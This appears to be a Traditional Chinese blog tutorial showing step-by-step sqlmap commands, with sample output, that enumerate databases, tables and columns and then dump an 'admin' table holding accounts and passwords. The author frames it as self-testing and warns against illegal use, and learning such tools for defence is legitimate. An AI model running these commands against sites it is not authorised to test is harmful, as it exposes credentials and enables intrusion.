本篇文章更新時間:2019/11/12
如有資訊過時或語誤之處,歡迎使用 Contact 功能通知。
一介資男的 LINE 社群開站囉!歡迎入群聊聊~
如果本站內容對你有幫助,歡迎使用 BFX Pay 加密貨幣 或 新台幣 贊助支持。
sqlmap 這款是知名的資料庫探測與注入測試工具。原理不難,就是拿各種可能注入的方法去暴力嘗試某個網站應用,並且取得資料庫相關資訊。
看第一段就知道這東西很兇猛,所以切勿亂用在不法操作上,避免吃上官司~ 如果發現某網站有安全性問題都可以到 漏洞通報平台 舉報,或是想辦法聯絡網站主更新。
這套測試工具的使用方法如下:
首先找到網站應用中可能有沒過濾恰當的 GET 參數,例如: https://www.mxp.tw/?p=hack
,那個 p
就是一個可能的目標。
再來開始使用指令探測:
python sqlmap.py -u "https://www.mxp.tw/?p=hack" --random-agent
確認參數是否有機會可以進行下一步,再來是嘗試判斷該應用使用何種資料庫作業。
python sqlmap.py -u "https://www.mxp.tw/?p=hack" --random-agent --dbs
當有找到資料庫且顯示列表如下時:
available databases [2]:
[*] information_schema
[*] hackingQQ
可以再進階的使用指令:
python sqlmap.py -u "https://www.mxp.tw/?p=hack" --random-agent --tables -D hackingQQ
查詢 hackingQQ
資料庫的資料表,找到資訊如下:
Database: hackingQQ
[3 tables]
+-----------------------+
| admin |
| please_do_not_try |
| good |
+-----------------------+
再使用指令:
python sqlmap.py -u "https://www.mxp.tw/?p=hack" --random-agent --columns -D hackingQQ -T admin
取得資料表欄位資訊如下:
Database: hackingQQ
Table: admin
[4 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| account | varchar(255) |
| name | varchar(255) |
| pwd | varchar(255) |
| role | varchar(255) |
+-----------------+--------------+
最後就是指令輸出該資料表內容:
python sqlmap.py -u "https://www.mxp.tw/?p=hack" --random-agent -D hackingQQ -T admin --dump
好,筆記到這就已經很多了。一但發現自己實作的網站能被此套工具從外部挖掘到不該出現的資料時,就要趕快修補。安全性這回事,是要持續學習,知己知彼才能百戰百勝~